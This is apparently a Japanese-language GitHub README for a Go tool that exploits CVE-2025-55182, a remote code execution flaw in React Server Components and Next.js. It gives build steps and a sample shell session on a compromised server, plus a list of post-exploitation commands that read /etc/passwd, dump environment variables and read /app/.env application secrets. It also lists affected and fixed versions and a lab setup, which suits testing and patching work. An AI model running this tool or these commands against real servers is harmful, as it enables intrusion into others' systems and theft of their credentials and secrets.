👻 CVE-2025-55182 Goエクスプロイト

CVE-2025-55182（React Server Components）用の対話型RCEエクスプロイトツール

🎯 これは何か？

CVE-2025-55182 は、React 19.0.0〜19.2.0およびNext.jsアプリケーションに影響を与えるReact Server Components（RSC）の重大な脆弱性であるCVE-2025-55182を標的とした、最小限の対話型RCEエクスプロイトツールです。

📦 インストール

前提条件

Go 1.18以上
React 19.0.0〜19.2.0を実行している脆弱なターゲット

ソースからビルド

git clone https://github.com/Hghost0x00/CVE-2025-55182.git
cd CVE-2025-55182
go build -o CVE-2025-55182 main.go

🚀 使用方法

基本的な使用方法

./CVE-2025-55182

対話セッション

_____________   _______________         _______________   ________   .________          .________.____________  ______  ________  
╲_   ___ ╲   ╲ ╱   ╱╲_   _____╱         ╲_____  ╲   _  ╲  ╲_____  ╲  │   ____╱          │   ____╱│   ____╱_   │╱  __  ╲ ╲_____  ╲ 
╱    ╲  ╲╱╲   Y   ╱  │    __)_   ______  ╱  ____╱  ╱_╲  ╲  ╱  ____╱  │____  ╲   ______  │____  ╲ │____  ╲ │   │>      <  ╱  ____╱ 
╲     ╲____╲     ╱   │        ╲ ╱_____╱ ╱       ╲  ╲_╱   ╲╱       ╲  ╱       ╲ ╱_____╱  ╱       ╲╱       ╲│   ╱   ──   ╲╱       ╲ 
 ╲______  ╱ ╲___╱   ╱_______  ╱         ╲_______ ╲_____  ╱╲_______ ╲╱______  ╱         ╱______  ╱______  ╱│___╲______  ╱╲_______ ╲
        ╲╱                  ╲╱                  ╲╱     ╲╱         ╲╱       ╲╱                 ╲╱       ╲╱            ╲╱         ╲╱  

    React2Shell RCE | CVE-2025-55182
    @hghost010

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[?] Target: localhost:3000
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ghost@rce $ id
uid=1000(node) gid=1000(node) groups=1000(node)

ghost@rce $ whoami
node

ghost@rce $ pwd
/app

ghost@rce $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash

ghost@rce $ exit

🎥 デモ

https://github.com/user-attachments/assets/9cfdc436-9217-4921-bdbd-1368378f049f

影響を受けるバージョン:

React 19.0.0、19.1.0、19.1.1、19.2.0
これらのReactバージョンを使用するNext.jsアプリケーション

修正済みバージョン:

React 19.2.1以降
React依存関係を更新したNext.js

🧪 テストラボのセットアップ

安全にテストしてみたいですか？脆弱なラボ環境をセットアップしましょう：

# Clone vulnerable Next.js app
git clone https://github.com/zack0x01/vuln-app-CVE-2025-55182.git
cd vuln-app-CVE-2025-55182

# Install and run
npm install --legacy-peer-deps
npm run dev

# In another terminal, run ghost-scanner
./CVE-2025-55182
# Enter: localhost:3000

📚 よく使うコマンド

ghost@rce $ id                    # Check user privileges
ghost@rce $ whoami                # Current username
ghost@rce $ pwd                   # Current directory
ghost@rce $ ls -la                # List files
ghost@rce $ cat /etc/passwd       # Read files
ghost@rce $ uname -a              # System information
ghost@rce $ env                   # Environment variables
ghost@rce $ ps aux                # Running processes
ghost@rce $ netstat -tulpn        # Network connections
ghost@rce $ cat /app/.env         # Application secrets

📊 リポジトリ統計

GitHub repo size GitHub last commit GitHub issues

🔗 参考リンク

💬 コミュニティ & サポート

🐦 Twitter/X: @hghost010
🐙 GitHub: Hghost0x00

バグを見つけましたか？ イシューを開いてください

⭐ サポートの表明

このツールが役に立ったなら：

⭐ このリポジトリにスターを付ける
💬 他の人と共有する

📝 ライセンス

このプロジェクトはMITライセンスの下で提供されています。詳細はLICENSEファイルを参照してください。

Hghost0x00 によって 👻 とともに作られました
ハッピーハッキング ⚡

CVE-2025-55182

人気